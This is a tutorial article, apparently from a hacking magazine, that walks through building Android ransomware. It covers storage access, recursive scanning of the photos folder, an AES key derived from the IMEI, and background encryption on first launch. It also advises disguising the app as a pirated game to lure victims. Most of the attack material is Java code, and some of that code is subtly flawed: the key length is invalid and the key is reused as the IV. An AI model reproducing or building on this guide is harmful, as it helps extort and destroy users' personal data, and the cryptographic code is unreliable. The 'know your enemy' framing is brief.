Until recently, based on the results of surveys and personal experience, I had the impression that users believe that the value of data stored on a device greatly exceeds the cost of the device itself. Why until recently? Well, the current US dollar exchange rate means that I haven’t seen such surveys among new iPhone users :).
The boom in ransomware and ransom Trojans encrypting the whole operating system or just the user’s data is the reason for the high cost of data stored on computers.
Putting on the black hat
Of course, we are not suggesting that our readers write malware. However, being security specialists, shouldn’t we be aware of how malicious hackers act? We mostly certainly do. Otherwise, how can we fight them? So, let’s put the black hat on and look at how coders who write personal information encoders for Android operate.
Yes, I intentionally shifted the emphasis to “personal information” encryption. The Android OS clearly distinguishes between user data and system files; so, writing a massively distributed blocker will present a rather laborious task. We need to somehow elevate the application’s privileges in the system, but because of the numerous devices and versions it is hard to create a universal algorithm. To extract money from a part of the population it is easier to attack the user’s data segment.
Doctor Web calls encryption Trojans the main threat for the consumer segment of the Internet. According to the company’s report, since 2013 they have received more than 8,500 requests for decryption of files encoded by encryption Trojans. By November 2015, these requests made up 60 % of all requests. In its report, Doctor Web honestly admits that the chance of recovering the encoded data is less than 10 %.
Access to files
At first, hackers access data on the device. This is no problem, we do it in nearly every article. We will need to add a couple of lines in the application’s manifest file.
When launched, the system will warn the user that the application needs access to the disk space, without giving a reason. This looks quite normal: you can think of thousands of quite legal reasons why the developer might need to save something or read something from the disk. The OS will not limit the application’s actions in the future, all files will be at our disposal.
Today, let’s just deal with photographs. First, we need to find the root directory for all images stored on the device. Depending on the OS version, the path to this folder may be a bit different, so let’s use the Environment class. This provides access to various environment variables; we need DIRECTORY_PICTURES.
File myPath = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
Environment variables represent a convenient tool for storing dynamically changed information. They contain standard parameters required by many applications at the same time: path to folders with standard content (home directory, temporary file storage), default encryption etc.
To encode the file, we need to get its full path on the device; to do this, let’s use good old recursion. If the checked file is a directory, let’s call the method again, but for a different path this time. The “File” class will help us determine what exactly the checked path is. It contains isFile() and isDirectory methods which will perform the necessary examination.
private void dirScan(File dir){
if(dir.isFile()){
//do smth with file
}else if(dir.isDirectory()){
for(File child : dir.listFiles())
dirScan(child);
}
}
As soon as we obtain the file path, we can start modifying it. The first encryption Trojans used unstable encoding algorithms: from changing the file extension to the application of XOR with a key stitched into the module. This approach allowed antivirus analysts to create encoders almost momentarily.
Today, we will go a couple of steps further and see how malware creators organize encoding to make further recovery of files possible only by asking the Trojan’s creator for a key.
Organizing encryption
To change user files, let’s use the achievements of global cryptography. Cipher Java class, containing stable data encryption algorithms, is available to us in Android. Our task is to encode a large number of files within a short period of time. AES is perfect for these purposes. It is a symmetric block encryption algorithm. Its implementation in Android allows a key to be used up to 256 bits long. Modern scientists have not yet discovered significant vulnerabilities in this algorithm, and the time for brute-forcing this key is approaching infinity.
AES
AES is a symmetric block encryption algorithm which replaced DES in 2002. In one of the encryption modes, each subsequent data block is additionally masked by XOR operation with a previous block, and the very first block is processed with XOR with an initialization vector – random data the size of which equals one block.
Getting the key
At first, hackers think about where they will store the most important thing – the encryption key. The simplest approach, to use a key stitched hard into the application, is absolutely meaningless, as virus analysts will extract it from there in a matter of seconds and will release a decoding utility.
So the most advanced lumberjacks (did you know that Russian translators first translated hackers as lumberjacks? And that file was translated as saw? – Editor’s note) set up special management servers which generate keys on request, and they are only stored in RAM of the infected device. If the encryption algorithm is implemented correctly, antivirus specialists will be seriously puzzled.
To simplify the development, I recommend using a third-party library. Recently, we studied [Retrofit] library (http://square.github.io/retrofit/), where everything is ready for sending data to the server and back. So today we won’t look at this in detail, you can find everything necessary in my previous article “Top 6 Android developer libraries”.
To complete the picture, let’s look at another popular option when the key is generated based on some unique information. The TelephonyManage class provides access to various technical parameters related to cellular communication: network parameters, provider data, sim-card status etc. Today, we will take an IMEI number as basis for the key.
TelephonyManager tm = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
String imeiData = tm.getDeviceId();
Now let’s generate a key suitable for encoding. We need to convert the obtained data into a sequence of 256 bytes. To eliminate possible problems, let’s enforce UTF-8 coding.
String key = "";
while (key.length() < 256)
key += imeiData;
return key.substring(0, 256).getBytes("UTF-8");
Algorithm
Now let’s implement this algorithm. Let’s create a method which will encode the byte array with the key that we set.
private byte[] encrypt(byte[] my_key, byte[] clear){
The encoding algorithm itself is downloaded with a getInstance method. To excite your interest in cryptography, I suggest you read more about block codes and select which implementation suits our needs best.
Cipher cipher = Cipher.getInstance(cypher_name);
In implementation, the Java encryption key will need to be converted into a so-called special secret key SecretKeySpec. The resultant object will contain “our key plus the name of the encoding algorithm.” We will also need to set an initialization vector.
SecretKeySpec secretKeySpec = new SecretKeySpec(my_key, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(my_key);
Everything necessary has been done. Now let’s fill the cipher object with data, and we can encode the bytes delivered to the method entrance.
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] encrypted = cipher.doFinal(clear);
Decryption will be performed using the same algorithm, you will just need to replace the first argument of the init method with Cipher.DECRYPT_MODE.
Reading files
Android OS strictly limits the volume of resources provided to the application. When processing the file, it is very tempting to upload it fully to RAM, but it’s better not do this if you don’t know the exact file size in advance. Information about the volume of allocated RAM can be obtained using the getMemoryClass() method. If you upload something very big to the memory, the available volume may be exhausted and the application will perform an emergency shutdown with OutOfMemoryError. To avoid that, upload the file into memory in parts (blocks). For block reading and file recording, let’s use BufferedInputStream and OutputStream classes.
InputStream in = new BufferedInputStream(new FileInputStream(file));
OutputStream out = new BufferedOutputStream(new FileOutputStream(file_encr));
The read method allows us to read the byte sequence of specified length from the file. Indicate the number of read bytes as output value; the method returns -1 if the file is finished. To write a byte sequence into the file, the assignment operation should be enough; recording will continue with the next iteration.
while(in.read(buffer,0,blockSize)!=-1){
bufferOut = encrypt(key, buffer);
...
}
Launching encryption
If we managed to get access to the device, the encryption operation can be launched immediately, during the first run of the application with the onCreate method. As there are many files, the process may take some time. A separate stream must be created in Android OS for execution of long operations (more than 5 seconds long). To do this, let’s use Thread and Runnable classes which allow us to launch resource-intensive operations in a separate stream.
final Handler handler = new Handler();
Runnable runnable = new Runnable() {
To do this, let’s use the Run method which will launch file encryption. This method may be performed for quite a long time, everything depends on the device’s processing power. Nonetheless, the user won’t notice visually what the device is busy with.
public void run() {
dirScan(file);
Now let’s use the enabled Handler class. This allows us after completion of long procedures to return some value in the main stream, i.e. make changes visible to the user.
handler.post(new Runnable() {
public void run() {
TextView text=(TextView)findViewById(R.id.textV);
text.setText("Your files was crypted!");...};
To launch the created stream, just create a new Thread object.
new Thread(runnable).start();
Implementation methods
As usual, we will use human weaknesses to plant the encoder. Some people want to save money and will download this Trojan, thinking they are getting a full version of an expensive game from Google Play; others might be interested in some unusual content. Curiosity and greed – these are two vices which typically lead mobile device users into trouble.
Conclusions
Manufacturers might need to revisit their approach to security models used in mobile operating systems. Yes, applications are isolated from each other quite well, but we saw today that access to the most important user data can be obtained in a single line. Notably, the user doesn’t understand which application is interacting with their personal data and how. In fact, the behavior model has been copied almost in full from “large” OS. It might be wise to implement additional restrictions for accessing the most important data on the device. And antivirus applications don’t look so useless anymore.
We live in very interesting times. Modern technologies are changing the world every day, and progress makes people increasingly dependent on gadgets. Until recently, we all used desktop PCs, but now a tablet is enough for most people. Being a reader of Hacker Magazine, you most certainly understand that new technologies not only contain goodies, but also additional information security threats, which means that there will always be some work for us. One way or another, the dark side will be defeated :). Good luck!